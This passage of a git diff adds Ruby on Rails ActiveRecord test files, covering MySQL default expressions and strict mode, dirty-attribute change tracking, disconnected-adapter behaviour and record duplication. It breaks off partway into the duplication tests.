+  class MysqlDefaultExpressionTest < ActiveRecord::TestCase
+    include SchemaDumpingHelper
+
+    if ActiveRecord::Base.connection.version >= "5.6.0"
+      test "schema dump datetime includes default expression" do
+        output = dump_table_schema("datetime_defaults")
+        assert_match %r/t\.datetime\s+"modified_datetime",\s+default: -> { "CURRENT_TIMESTAMP" }/, output
+      end
+    end
+
+    test "schema dump timestamp includes default expression" do
+      output = dump_table_schema("timestamp_defaults")
+      assert_match %r/t\.timestamp\s+"modified_timestamp",\s+default: -> { "CURRENT_TIMESTAMP" }/, output
+    end
+
+    test "schema dump timestamp without default expression" do
+      output = dump_table_schema("timestamp_defaults")
+      assert_match %r/t\.timestamp\s+"nullable_timestamp"$/, output
+    end
+  end
+
+  class DefaultsTestWithoutTransactionalFixtures < ActiveRecord::TestCase
+    # ActiveRecord::Base#create! (and #save and other related methods) will
+    # open a new transaction. When in transactional tests mode, this will
+    # cause Active Record to create a new savepoint. However, since MySQL doesn't
+    # support DDL transactions, creating a table will result in any created
+    # savepoints to be automatically released. This in turn causes the savepoint
+    # release code in AbstractAdapter#transaction to fail.
+    #
+    # We don't want that to happen, so we disable transactional tests here.
+    self.use_transactional_tests = false
+
+    def using_strict(strict)
+      connection = ActiveRecord::Base.remove_connection
+      ActiveRecord::Base.establish_connection connection.merge(strict: strict)
+      yield
+    ensure
+      ActiveRecord::Base.remove_connection
+      ActiveRecord::Base.establish_connection connection
+    end
+
+    # Strict mode controls how MySQL handles invalid or missing values
+    # in data-change statements such as INSERT or UPDATE. A value can be
+    # invalid for several reasons. For example, it might have the wrong
+    # data type for the column, or it might be out of range. A value is
+    # missing when a new row to be inserted does not contain a value for
+    # a non-NULL column that has no explicit DEFAULT clause in its definition.
+    # (For a NULL column, NULL is inserted if the value is missing.)
+    #
+    # If strict mode is not in effect, MySQL inserts adjusted values for
+    # invalid or missing values and produces warnings. In strict mode,
+    # you can produce this behavior by using INSERT IGNORE or UPDATE IGNORE.
+    #
+    # https://dev.mysql.com/doc/refman/5.7/en/sql-mode.html#sql-mode-strict
+    def test_mysql_not_null_defaults_non_strict
+      using_strict(false) do
+        with_mysql_not_null_table do |klass|
+          record = klass.new
+          assert_nil record.non_null_integer
+          assert_nil record.non_null_string
+          assert_nil record.non_null_text
+          assert_nil record.non_null_blob
+
+          record.save!
+          record.reload
+
+          assert_equal 0,  record.non_null_integer
+          assert_equal "", record.non_null_string
+          assert_equal "", record.non_null_text
+          assert_equal "", record.non_null_blob
+        end
+      end
+    end
+
+    def test_mysql_not_null_defaults_strict
+      using_strict(true) do
+        with_mysql_not_null_table do |klass|
+          record = klass.new
+          assert_nil record.non_null_integer
+          assert_nil record.non_null_string
+          assert_nil record.non_null_text
+          assert_nil record.non_null_blob
+
+          assert_raises(ActiveRecord::NotNullViolation) { klass.create }
+        end
+      end
+    end
+
+    def with_mysql_not_null_table
+      klass = Class.new(ActiveRecord::Base)
+      klass.table_name = "test_mysql_not_null_defaults"
+      klass.connection.create_table klass.table_name do |t|
+        t.integer :non_null_integer, null: false
+        t.string  :non_null_string,  null: false
+        t.text    :non_null_text,    null: false
+        t.blob    :non_null_blob,    null: false
+      end
+
+      yield klass
+    ensure
+      klass.connection.drop_table(klass.table_name) rescue nil
+    end
+  end
+end
diff --git a/activerecord/test/cases/dirty_test.rb b/activerecord/test/cases/dirty_test.rb
new file mode 100644
index 0000000000..fb3d691d51
--- /dev/null
+++ b/activerecord/test/cases/dirty_test.rb
@@ -0,0 +1,872 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"    # For booleans
+require "models/pirate"   # For timestamps
+require "models/parrot"
+require "models/person"   # For optimistic locking
+require "models/aircraft"
+require "models/numeric_data"
+
+class DirtyTest < ActiveRecord::TestCase
+  include InTimeZone
+
+  # Dummy to force column loads so query counts are clean.
+  def setup
+    Person.create first_name: "foo"
+  end
+
+  def test_attribute_changes
+    # New record - no changes.
+    pirate = Pirate.new
+    assert_equal false, pirate.catchphrase_changed?
+    assert_equal false, pirate.non_validated_parrot_id_changed?
+
+    # Change catchphrase.
+    pirate.catchphrase = "arrr"
+    assert pirate.catchphrase_changed?
+    assert_nil pirate.catchphrase_was
+    assert_equal [nil, "arrr"], pirate.catchphrase_change
+
+    # Saved - no changes.
+    pirate.save!
+    assert !pirate.catchphrase_changed?
+    assert_nil pirate.catchphrase_change
+
+    # Same value - no changes.
+    pirate.catchphrase = "arrr"
+    assert !pirate.catchphrase_changed?
+    assert_nil pirate.catchphrase_change
+  end
+
+  def test_time_attributes_changes_with_time_zone
+    in_time_zone "Paris" do
+      target = Class.new(ActiveRecord::Base)
+      target.table_name = "pirates"
+
+      # New record - no changes.
+      pirate = target.new
+      assert !pirate.created_on_changed?
+      assert_nil pirate.created_on_change
+
+      # Saved - no changes.
+      pirate.catchphrase = "arrrr, time zone!!"
+      pirate.save!
+      assert !pirate.created_on_changed?
+      assert_nil pirate.created_on_change
+
+      # Change created_on.
+      old_created_on = pirate.created_on
+      pirate.created_on = Time.now - 1.day
+      assert pirate.created_on_changed?
+      assert_kind_of ActiveSupport::TimeWithZone, pirate.created_on_was
+      assert_equal old_created_on, pirate.created_on_was
+      pirate.created_on = old_created_on
+      assert !pirate.created_on_changed?
+    end
+  end
+
+  def test_setting_time_attributes_with_time_zone_field_to_itself_should_not_be_marked_as_a_change
+    in_time_zone "Paris" do
+      target = Class.new(ActiveRecord::Base)
+      target.table_name = "pirates"
+
+      pirate = target.create!
+      pirate.created_on = pirate.created_on
+      assert !pirate.created_on_changed?
+    end
+  end
+
+  def test_time_attributes_changes_without_time_zone_by_skip
+    in_time_zone "Paris" do
+      target = Class.new(ActiveRecord::Base)
+      target.table_name = "pirates"
+
+      target.skip_time_zone_conversion_for_attributes = [:created_on]
+
+      # New record - no changes.
+      pirate = target.new
+      assert !pirate.created_on_changed?
+      assert_nil pirate.created_on_change
+
+      # Saved - no changes.
+      pirate.catchphrase = "arrrr, time zone!!"
+      pirate.save!
+      assert !pirate.created_on_changed?
+      assert_nil pirate.created_on_change
+
+      # Change created_on.
+      old_created_on = pirate.created_on
+      pirate.created_on = Time.now + 1.day
+      assert pirate.created_on_changed?
+      # kind_of does not work because
+      # ActiveSupport::TimeWithZone.name == 'Time'
+      assert_instance_of Time, pirate.created_on_was
+      assert_equal old_created_on, pirate.created_on_was
+    end
+  end
+
+  def test_time_attributes_changes_without_time_zone
+    with_timezone_config aware_attributes: false do
+      target = Class.new(ActiveRecord::Base)
+      target.table_name = "pirates"
+
+      # New record - no changes.
+      pirate = target.new
+      assert !pirate.created_on_changed?
+      assert_nil pirate.created_on_change
+
+      # Saved - no changes.
+      pirate.catchphrase = "arrrr, time zone!!"
+      pirate.save!
+      assert !pirate.created_on_changed?
+      assert_nil pirate.created_on_change
+
+      # Change created_on.
+      old_created_on = pirate.created_on
+      pirate.created_on = Time.now + 1.day
+      assert pirate.created_on_changed?
+      # kind_of does not work because
+      # ActiveSupport::TimeWithZone.name == 'Time'
+      assert_instance_of Time, pirate.created_on_was
+      assert_equal old_created_on, pirate.created_on_was
+    end
+  end
+
+  def test_aliased_attribute_changes
+    # the actual attribute here is name, title is an
+    # alias setup via alias_attribute
+    parrot = Parrot.new
+    assert !parrot.title_changed?
+    assert_nil parrot.title_change
+
+    parrot.name = "Sam"
+    assert parrot.title_changed?
+    assert_nil parrot.title_was
+    assert_equal parrot.name_change, parrot.title_change
+  end
+
+  def test_restore_attribute!
+    pirate = Pirate.create!(catchphrase: "Yar!")
+    pirate.catchphrase = "Ahoy!"
+
+    pirate.restore_catchphrase!
+    assert_equal "Yar!", pirate.catchphrase
+    assert_equal Hash.new, pirate.changes
+    assert !pirate.catchphrase_changed?
+  end
+
+  def test_nullable_number_not_marked_as_changed_if_new_value_is_blank
+    pirate = Pirate.new
+
+    ["", nil].each do |value|
+      pirate.parrot_id = value
+      assert !pirate.parrot_id_changed?
+      assert_nil pirate.parrot_id_change
+    end
+  end
+
+  def test_nullable_decimal_not_marked_as_changed_if_new_value_is_blank
+    numeric_data = NumericData.new
+
+    ["", nil].each do |value|
+      numeric_data.bank_balance = value
+      assert !numeric_data.bank_balance_changed?
+      assert_nil numeric_data.bank_balance_change
+    end
+  end
+
+  def test_nullable_float_not_marked_as_changed_if_new_value_is_blank
+    numeric_data = NumericData.new
+
+    ["", nil].each do |value|
+      numeric_data.temperature = value
+      assert !numeric_data.temperature_changed?
+      assert_nil numeric_data.temperature_change
+    end
+  end
+
+  def test_nullable_datetime_not_marked_as_changed_if_new_value_is_blank
+    in_time_zone "Edinburgh" do
+      target = Class.new(ActiveRecord::Base)
+      target.table_name = "topics"
+
+      topic = target.create
+      assert_nil topic.written_on
+
+      ["", nil].each do |value|
+        topic.written_on = value
+        assert_nil topic.written_on
+        assert !topic.written_on_changed?
+      end
+    end
+  end
+
+  def test_integer_zero_to_string_zero_not_marked_as_changed
+    pirate = Pirate.new
+    pirate.parrot_id = 0
+    pirate.catchphrase = "arrr"
+    assert pirate.save!
+
+    assert !pirate.changed?
+
+    pirate.parrot_id = "0"
+    assert !pirate.changed?
+  end
+
+  def test_integer_zero_to_integer_zero_not_marked_as_changed
+    pirate = Pirate.new
+    pirate.parrot_id = 0
+    pirate.catchphrase = "arrr"
+    assert pirate.save!
+
+    assert !pirate.changed?
+
+    pirate.parrot_id = 0
+    assert !pirate.changed?
+  end
+
+  def test_float_zero_to_string_zero_not_marked_as_changed
+    data = NumericData.new temperature: 0.0
+    data.save!
+
+    assert_not data.changed?
+
+    data.temperature = "0"
+    assert_empty data.changes
+
+    data.temperature = "0.0"
+    assert_empty data.changes
+
+    data.temperature = "0.00"
+    assert_empty data.changes
+  end
+
+  def test_zero_to_blank_marked_as_changed
+    pirate = Pirate.new
+    pirate.catchphrase = "Yarrrr, me hearties"
+    pirate.parrot_id = 1
+    pirate.save
+
+    # check the change from 1 to ''
+    pirate = Pirate.find_by_catchphrase("Yarrrr, me hearties")
+    pirate.parrot_id = ""
+    assert pirate.parrot_id_changed?
+    assert_equal([1, nil], pirate.parrot_id_change)
+    pirate.save
+
+    # check the change from nil to 0
+    pirate = Pirate.find_by_catchphrase("Yarrrr, me hearties")
+    pirate.parrot_id = 0
+    assert pirate.parrot_id_changed?
+    assert_equal([nil, 0], pirate.parrot_id_change)
+    pirate.save
+
+    # check the change from 0 to ''
+    pirate = Pirate.find_by_catchphrase("Yarrrr, me hearties")
+    pirate.parrot_id = ""
+    assert pirate.parrot_id_changed?
+    assert_equal([0, nil], pirate.parrot_id_change)
+  end
+
+  def test_object_should_be_changed_if_any_attribute_is_changed
+    pirate = Pirate.new
+    assert !pirate.changed?
+    assert_equal [], pirate.changed
+    assert_equal Hash.new, pirate.changes
+
+    pirate.catchphrase = "arrr"
+    assert pirate.changed?
+    assert_nil pirate.catchphrase_was
+    assert_equal %w(catchphrase), pirate.changed
+    assert_equal({ "catchphrase" => [nil, "arrr"] }, pirate.changes)
+
+    pirate.save
+    assert !pirate.changed?
+    assert_equal [], pirate.changed
+    assert_equal Hash.new, pirate.changes
+  end
+
+  def test_attribute_will_change!
+    pirate = Pirate.create!(catchphrase: "arr")
+
+    assert !pirate.catchphrase_changed?
+    assert pirate.catchphrase_will_change!
+    assert pirate.catchphrase_changed?
+    assert_equal ["arr", "arr"], pirate.catchphrase_change
+
+    pirate.catchphrase << " matey!"
+    assert pirate.catchphrase_changed?
+    assert_equal ["arr", "arr matey!"], pirate.catchphrase_change
+  end
+
+  def test_virtual_attribute_will_change
+    parrot = Parrot.create!(name: "Ruby")
+    parrot.send(:attribute_will_change!, :cancel_save_from_callback)
+    assert parrot.has_changes_to_save?
+  end
+
+  def test_association_assignment_changes_foreign_key
+    pirate = Pirate.create!(catchphrase: "jarl")
+    pirate.parrot = Parrot.create!(name: "Lorre")
+    assert pirate.changed?
+    assert_equal %w(parrot_id), pirate.changed
+  end
+
+  def test_attribute_should_be_compared_with_type_cast
+    topic = Topic.new
+    assert topic.approved?
+    assert !topic.approved_changed?
+
+    # Coming from web form.
+    params = { topic: { approved: 1 } }
+    # In the controller.
+    topic.attributes = params[:topic]
+    assert topic.approved?
+    assert !topic.approved_changed?
+  end
+
+  def test_partial_update
+    pirate = Pirate.new(catchphrase: "foo")
+    old_updated_on = 1.hour.ago.beginning_of_day
+
+    with_partial_writes Pirate, false do
+      assert_queries(2) { 2.times { pirate.save! } }
+      Pirate.where(id: pirate.id).update_all(updated_on: old_updated_on)
+    end
+
+    with_partial_writes Pirate, true do
+      assert_queries(0) { 2.times { pirate.save! } }
+      assert_equal old_updated_on, pirate.reload.updated_on
+
+      assert_queries(1) { pirate.catchphrase = "bar"; pirate.save! }
+      assert_not_equal old_updated_on, pirate.reload.updated_on
+    end
+  end
+
+  def test_partial_update_with_optimistic_locking
+    person = Person.new(first_name: "foo")
+
+    with_partial_writes Person, false do
+      assert_queries(2) { 2.times { person.save! } }
+      Person.where(id: person.id).update_all(first_name: "baz")
+    end
+
+    old_lock_version = person.lock_version
+
+    with_partial_writes Person, true do
+      assert_queries(0) { 2.times { person.save! } }
+      assert_equal old_lock_version, person.reload.lock_version
+
+      assert_queries(1) { person.first_name = "bar"; person.save! }
+      assert_not_equal old_lock_version, person.reload.lock_version
+    end
+  end
+
+  def test_changed_attributes_should_be_preserved_if_save_failure
+    pirate = Pirate.new
+    pirate.parrot_id = 1
+    assert !pirate.save
+    check_pirate_after_save_failure(pirate)
+
+    pirate = Pirate.new
+    pirate.parrot_id = 1
+    assert_raise(ActiveRecord::RecordInvalid) { pirate.save! }
+    check_pirate_after_save_failure(pirate)
+  end
+
+  def test_reload_should_clear_changed_attributes
+    pirate = Pirate.create!(catchphrase: "shiver me timbers")
+    pirate.catchphrase = "*hic*"
+    assert pirate.changed?
+    pirate.reload
+    assert !pirate.changed?
+  end
+
+  def test_dup_objects_should_not_copy_dirty_flag_from_creator
+    pirate = Pirate.create!(catchphrase: "shiver me timbers")
+    pirate_dup = pirate.dup
+    pirate_dup.restore_catchphrase!
+    pirate.catchphrase = "I love Rum"
+    assert pirate.catchphrase_changed?
+    assert !pirate_dup.catchphrase_changed?
+  end
+
+  def test_reverted_changes_are_not_dirty
+    phrase = "shiver me timbers"
+    pirate = Pirate.create!(catchphrase: phrase)
+    pirate.catchphrase = "*hic*"
+    assert pirate.changed?
+    pirate.catchphrase = phrase
+    assert !pirate.changed?
+  end
+
+  def test_reverted_changes_are_not_dirty_after_multiple_changes
+    phrase = "shiver me timbers"
+    pirate = Pirate.create!(catchphrase: phrase)
+    10.times do |i|
+      pirate.catchphrase = "*hic*" * i
+      assert pirate.changed?
+    end
+    assert pirate.changed?
+    pirate.catchphrase = phrase
+    assert !pirate.changed?
+  end
+
+  def test_reverted_changes_are_not_dirty_going_from_nil_to_value_and_back
+    pirate = Pirate.create!(catchphrase: "Yar!")
+
+    pirate.parrot_id = 1
+    assert pirate.changed?
+    assert pirate.parrot_id_changed?
+    assert !pirate.catchphrase_changed?
+
+    pirate.parrot_id = nil
+    assert !pirate.changed?
+    assert !pirate.parrot_id_changed?
+    assert !pirate.catchphrase_changed?
+  end
+
+  def test_save_should_store_serialized_attributes_even_with_partial_writes
+    with_partial_writes(Topic) do
+      topic = Topic.create!(content: { a: "a" })
+
+      assert_not topic.changed?
+
+      topic.content[:b] = "b"
+
+      assert topic.changed?
+
+      topic.save!
+
+      assert_not topic.changed?
+      assert_equal "b", topic.content[:b]
+
+      topic.reload
+
+      assert_equal "b", topic.content[:b]
+    end
+  end
+
+  def test_save_always_should_update_timestamps_when_serialized_attributes_are_present
+    with_partial_writes(Topic) do
+      topic = Topic.create!(content: { a: "a" })
+      topic.save!
+
+      updated_at = topic.updated_at
+      travel(1.second) do
+        topic.content[:hello] = "world"
+        topic.save!
+      end
+
+      assert_not_equal updated_at, topic.updated_at
+      assert_equal "world", topic.content[:hello]
+    end
+  end
+
+  def test_save_should_not_save_serialized_attribute_with_partial_writes_if_not_present
+    with_partial_writes(Topic) do
+      Topic.create!(author_name: "Bill", content: { a: "a" })
+      topic = Topic.select("id, author_name").first
+      topic.update_columns author_name: "John"
+      topic = Topic.first
+      assert_not_nil topic.content
+    end
+  end
+
+  def test_previous_changes
+    # original values should be in previous_changes
+    pirate = Pirate.new
+
+    assert_equal Hash.new, pirate.previous_changes
+    pirate.catchphrase = "arrr"
+    pirate.save!
+
+    assert_equal 4, pirate.previous_changes.size
+    assert_equal [nil, "arrr"], pirate.previous_changes["catchphrase"]
+    assert_equal [nil, pirate.id], pirate.previous_changes["id"]
+    assert_nil pirate.previous_changes["updated_on"][0]
+    assert_not_nil pirate.previous_changes["updated_on"][1]
+    assert_nil pirate.previous_changes["created_on"][0]
+    assert_not_nil pirate.previous_changes["created_on"][1]
+    assert !pirate.previous_changes.key?("parrot_id")
+
+    # original values should be in previous_changes
+    pirate = Pirate.new
+
+    assert_equal Hash.new, pirate.previous_changes
+    pirate.catchphrase = "arrr"
+    pirate.save
+
+    assert_equal 4, pirate.previous_changes.size
+    assert_equal [nil, "arrr"], pirate.previous_changes["catchphrase"]
+    assert_equal [nil, pirate.id], pirate.previous_changes["id"]
+    assert_includes pirate.previous_changes, "updated_on"
+    assert_includes pirate.previous_changes, "created_on"
+    assert !pirate.previous_changes.key?("parrot_id")
+
+    pirate.catchphrase = "Yar!!"
+    pirate.reload
+    assert_equal Hash.new, pirate.previous_changes
+
+    pirate = Pirate.find_by_catchphrase("arrr")
+
+    travel(1.second)
+
+    pirate.catchphrase = "Me Maties!"
+    pirate.save!
+
+    assert_equal 2, pirate.previous_changes.size
+    assert_equal ["arrr", "Me Maties!"], pirate.previous_changes["catchphrase"]
+    assert_not_nil pirate.previous_changes["updated_on"][0]
+    assert_not_nil pirate.previous_changes["updated_on"][1]
+    assert !pirate.previous_changes.key?("parrot_id")
+    assert !pirate.previous_changes.key?("created_on")
+
+    pirate = Pirate.find_by_catchphrase("Me Maties!")
+
+    travel(1.second)
+
+    pirate.catchphrase = "Thar She Blows!"
+    pirate.save
+
+    assert_equal 2, pirate.previous_changes.size
+    assert_equal ["Me Maties!", "Thar She Blows!"], pirate.previous_changes["catchphrase"]
+    assert_not_nil pirate.previous_changes["updated_on"][0]
+    assert_not_nil pirate.previous_changes["updated_on"][1]
+    assert !pirate.previous_changes.key?("parrot_id")
+    assert !pirate.previous_changes.key?("created_on")
+
+    travel(1.second)
+
+    pirate = Pirate.find_by_catchphrase("Thar She Blows!")
+    pirate.update(catchphrase: "Ahoy!")
+
+    assert_equal 2, pirate.previous_changes.size
+    assert_equal ["Thar She Blows!", "Ahoy!"], pirate.previous_changes["catchphrase"]
+    assert_not_nil pirate.previous_changes["updated_on"][0]
+    assert_not_nil pirate.previous_changes["updated_on"][1]
+    assert !pirate.previous_changes.key?("parrot_id")
+    assert !pirate.previous_changes.key?("created_on")
+
+    travel(1.second)
+
+    pirate = Pirate.find_by_catchphrase("Ahoy!")
+    pirate.update_attribute(:catchphrase, "Ninjas suck!")
+
+    assert_equal 2, pirate.previous_changes.size
+    assert_equal ["Ahoy!", "Ninjas suck!"], pirate.previous_changes["catchphrase"]
+    assert_not_nil pirate.previous_changes["updated_on"][0]
+    assert_not_nil pirate.previous_changes["updated_on"][1]
+    assert !pirate.previous_changes.key?("parrot_id")
+    assert !pirate.previous_changes.key?("created_on")
+  ensure
+    travel_back
+  end
+
+  class Testings < ActiveRecord::Base; end
+  def test_field_named_field
+    ActiveRecord::Base.connection.create_table :testings do |t|
+      t.string :field
+    end
+    assert_nothing_raised do
+      Testings.new.attributes
+    end
+  ensure
+    ActiveRecord::Base.connection.drop_table :testings rescue nil
+    ActiveRecord::Base.clear_cache!
+  end
+
+  def test_datetime_attribute_can_be_updated_with_fractional_seconds
+    skip "Fractional seconds are not supported" unless subsecond_precision_supported?
+    in_time_zone "Paris" do
+      target = Class.new(ActiveRecord::Base)
+      target.table_name = "topics"
+
+      written_on = Time.utc(2012, 12, 1, 12, 0, 0).in_time_zone("Paris")
+
+      topic = target.create(written_on: written_on)
+      topic.written_on += 0.3
+
+      assert topic.written_on_changed?, "Fractional second update not detected"
+    end
+  end
+
+  def test_datetime_attribute_doesnt_change_if_zone_is_modified_in_string
+    time_in_paris = Time.utc(2014, 1, 1, 12, 0, 0).in_time_zone("Paris")
+    pirate = Pirate.create!(catchphrase: "rrrr", created_on: time_in_paris)
+
+    pirate.created_on = pirate.created_on.in_time_zone("Tokyo").to_s
+    assert !pirate.created_on_changed?
+  end
+
+  test "partial insert" do
+    with_partial_writes Person do
+      jon = nil
+      assert_sql(/first_name/i) do
+        jon = Person.create! first_name: "Jon"
+      end
+
+      assert ActiveRecord::SQLCounter.log_all.none? { |sql| sql.include?("followers_count") }
+
+      jon.reload
+      assert_equal "Jon", jon.first_name
+      assert_equal 0, jon.followers_count
+      assert_not_nil jon.id
+    end
+  end
+
+  test "partial insert with empty values" do
+    with_partial_writes Aircraft do
+      a = Aircraft.create!
+      a.reload
+      assert_not_nil a.id
+    end
+  end
+
+  test "in place mutation detection" do
+    pirate = Pirate.create!(catchphrase: "arrrr")
+    pirate.catchphrase << " matey!"
+
+    assert pirate.catchphrase_changed?
+    expected_changes = {
+      "catchphrase" => ["arrrr", "arrrr matey!"]
+    }
+    assert_equal(expected_changes, pirate.changes)
+    assert_equal("arrrr", pirate.catchphrase_was)
+    assert pirate.catchphrase_changed?(from: "arrrr")
+    assert_not pirate.catchphrase_changed?(from: "anything else")
+    assert_includes pirate.changed_attributes, :catchphrase
+
+    pirate.save!
+    pirate.reload
+
+    assert_equal "arrrr matey!", pirate.catchphrase
+    assert_not pirate.changed?
+  end
+
+  test "in place mutation for binary" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = :binaries
+      serialize :data
+    end
+
+    binary = klass.create!(data: "\\\\foo")
+
+    assert_not binary.changed?
+
+    binary.data = binary.data.dup
+
+    assert_not binary.changed?
+
+    binary = klass.last
+
+    assert_not binary.changed?
+
+    binary.data << "bar"
+
+    assert binary.changed?
+  end
+
+  test "changes is correct for subclass" do
+    foo = Class.new(Pirate) do
+      def catchphrase
+        super.upcase
+      end
+    end
+
+    pirate = foo.create!(catchphrase: "arrrr")
+
+    new_catchphrase = "arrrr matey!"
+
+    pirate.catchphrase = new_catchphrase
+    assert pirate.catchphrase_changed?
+
+    expected_changes = {
+      "catchphrase" => ["arrrr", new_catchphrase]
+    }
+
+    assert_equal new_catchphrase.upcase, pirate.catchphrase
+    assert_equal expected_changes, pirate.changes
+  end
+
+  test "changes is correct if override attribute reader" do
+    pirate = Pirate.create!(catchphrase: "arrrr")
+    def pirate.catchphrase
+      super.upcase
+    end
+
+    new_catchphrase = "arrrr matey!"
+
+    pirate.catchphrase = new_catchphrase
+    assert pirate.catchphrase_changed?
+
+    expected_changes = {
+      "catchphrase" => ["arrrr", new_catchphrase]
+    }
+
+    assert_equal new_catchphrase.upcase, pirate.catchphrase
+    assert_equal expected_changes, pirate.changes
+  end
+
+  test "attribute_changed? doesn't compute in-place changes for unrelated attributes" do
+    test_type_class = Class.new(ActiveRecord::Type::Value) do
+      define_method(:changed_in_place?) do |*|
+        raise
+      end
+    end
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "people"
+      attribute :foo, test_type_class.new
+    end
+
+    model = klass.new(first_name: "Jim")
+    assert model.first_name_changed?
+  end
+
+  test "attribute_will_change! doesn't try to save non-persistable attributes" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "people"
+      attribute :non_persisted_attribute, :string
+    end
+
+    record = klass.new(first_name: "Sean")
+    record.non_persisted_attribute_will_change!
+
+    assert record.non_persisted_attribute_changed?
+    assert record.save
+  end
+
+  test "mutating and then assigning doesn't remove the change" do
+    pirate = Pirate.create!(catchphrase: "arrrr")
+    pirate.catchphrase << " matey!"
+    pirate.catchphrase = "arrrr matey!"
+
+    assert pirate.catchphrase_changed?(from: "arrrr", to: "arrrr matey!")
+  end
+
+  test "getters with side effects are allowed" do
+    klass = Class.new(Pirate) do
+      def catchphrase
+        if super.blank?
+          update_attribute(:catchphrase, "arr") # what could possibly go wrong?
+        end
+        super
+      end
+    end
+
+    pirate = klass.create!(catchphrase: "lol")
+    pirate.update_attribute(:catchphrase, nil)
+
+    assert_equal "arr", pirate.catchphrase
+  end
+
+  test "attributes assigned but not selected are dirty" do
+    person = Person.select(:id).first
+    refute person.changed?
+
+    person.first_name = "Sean"
+    assert person.changed?
+
+    person.first_name = nil
+    assert person.changed?
+  end
+
+  test "saved_change_to_attribute? returns whether a change occurred in the last save" do
+    person = Person.create!(first_name: "Sean")
+
+    assert person.saved_change_to_first_name?
+    refute person.saved_change_to_gender?
+    assert person.saved_change_to_first_name?(from: nil, to: "Sean")
+    assert person.saved_change_to_first_name?(from: nil)
+    assert person.saved_change_to_first_name?(to: "Sean")
+    refute person.saved_change_to_first_name?(from: "Jim", to: "Sean")
+    refute person.saved_change_to_first_name?(from: "Jim")
+    refute person.saved_change_to_first_name?(to: "Jim")
+  end
+
+  test "saved_change_to_attribute returns the change that occurred in the last save" do
+    person = Person.create!(first_name: "Sean", gender: "M")
+
+    assert_equal [nil, "Sean"], person.saved_change_to_first_name
+    assert_equal [nil, "M"], person.saved_change_to_gender
+
+    person.update(first_name: "Jim")
+
+    assert_equal ["Sean", "Jim"], person.saved_change_to_first_name
+    assert_nil person.saved_change_to_gender
+  end
+
+  test "attribute_before_last_save returns the original value before saving" do
+    person = Person.create!(first_name: "Sean", gender: "M")
+
+    assert_nil person.first_name_before_last_save
+    assert_nil person.gender_before_last_save
+
+    person.first_name = "Jim"
+
+    assert_nil person.first_name_before_last_save
+    assert_nil person.gender_before_last_save
+
+    person.save
+
+    assert_equal "Sean", person.first_name_before_last_save
+    assert_equal "M", person.gender_before_last_save
+  end
+
+  test "saved_changes? returns whether the last call to save changed anything" do
+    person = Person.create!(first_name: "Sean")
+
+    assert person.saved_changes?
+
+    person.save
+
+    refute person.saved_changes?
+  end
+
+  test "saved_changes returns a hash of all the changes that occurred" do
+    person = Person.create!(first_name: "Sean", gender: "M")
+
+    assert_equal [nil, "Sean"], person.saved_changes[:first_name]
+    assert_equal [nil, "M"], person.saved_changes[:gender]
+    assert_equal %w(id first_name gender created_at updated_at).sort, person.saved_changes.keys.sort
+
+    travel(1.second) do
+      person.update(first_name: "Jim")
+    end
+
+    assert_equal ["Sean", "Jim"], person.saved_changes[:first_name]
+    assert_equal %w(first_name lock_version updated_at).sort, person.saved_changes.keys.sort
+  end
+
+  test "changed? in after callbacks returns false" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "people"
+
+      after_save do
+        raise "changed? should be false" if changed?
+        raise "has_changes_to_save? should be false" if has_changes_to_save?
+        raise "saved_changes? should be true" unless saved_changes?
+      end
+    end
+
+    person = klass.create!(first_name: "Sean")
+    refute person.changed?
+  end
+
+  private
+    def with_partial_writes(klass, on = true)
+      old = klass.partial_writes?
+      klass.partial_writes = on
+      yield
+    ensure
+      klass.partial_writes = old
+    end
+
+    def check_pirate_after_save_failure(pirate)
+      assert pirate.changed?
+      assert pirate.parrot_id_changed?
+      assert_equal %w(parrot_id), pirate.changed
+      assert_nil pirate.parrot_id_was
+    end
+end
diff --git a/activerecord/test/cases/disconnected_test.rb b/activerecord/test/cases/disconnected_test.rb
new file mode 100644
index 0000000000..533665d0f4
--- /dev/null
+++ b/activerecord/test/cases/disconnected_test.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class TestRecord < ActiveRecord::Base
+end
+
+class TestDisconnectedAdapter < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+  end
+
+  teardown do
+    return if in_memory_db?
+    spec = ActiveRecord::Base.connection_config
+    ActiveRecord::Base.establish_connection(spec)
+  end
+
+  unless in_memory_db?
+    test "can't execute statements while disconnected" do
+      @connection.execute "SELECT count(*) from products"
+      @connection.disconnect!
+      assert_raises(ActiveRecord::StatementInvalid) do
+        silence_warnings do
+          @connection.execute "SELECT count(*) from products"
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/dup_test.rb b/activerecord/test/cases/dup_test.rb
new file mode 100644
index 0000000000..2fefdbf204
--- /dev/null
+++ b/activerecord/test/cases/dup_test.rb
@@ -0,0 +1,161 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/reply"
+require "models/topic"
+
+module ActiveRecord
+  class DupTest < ActiveRecord::TestCase
+    fixtures :topics
+
+    def test_dup
+      assert !Topic.new.freeze.dup.frozen?
+    end
+
+    def test_not_readonly
+      topic = Topic.first
+
+      duped = topic.dup
+      assert !duped.readonly?, "should not be readonly"
+    end
+
+    def test_is_readonly
+      topic = Topic.first
+      topic.readonly!
+
+      duped = topic.dup
+      assert duped.readonly?, "should be readonly"
+    end
+
+    def test_dup_not_persisted
+      topic = Topic.first
+      duped = topic.dup
+
+      assert !duped.persisted?, "topic not persisted"
+      assert duped.new_record?, "topic is new"
+    end
+
+    def test_dup_not_destroyed
+      topic = Topic.first
+      topic.destroy
+
+      duped = topic.dup
+      assert_not duped.destroyed?
+    end
+
+    def test_dup_has_no_id
+      topic = Topic.first
+      duped = topic.dup
+      assert_nil duped.id
+    end
+
+    def test_dup_with_modified_attributes
+      topic = Topic.first
+      topic.author_name = "Aaron"
+      duped = topic.dup
+      assert_equal "Aaron", duped.author_name
+    end
+
+    def test_dup_with_changes
+      dbtopic = Topic.first
+      topic = Topic.new
+
+      topic.attributes = dbtopic.attributes.except("id")
+
+      #duped has no timestamp values
+      duped = dbtopic.dup
+
+      #clear topic timestamp values
+      topic.send(:clear_timestamp_attributes)
+
+      assert_equal topic.changes, duped.changes
+    end
+
+    def test_dup_topics_are_independent
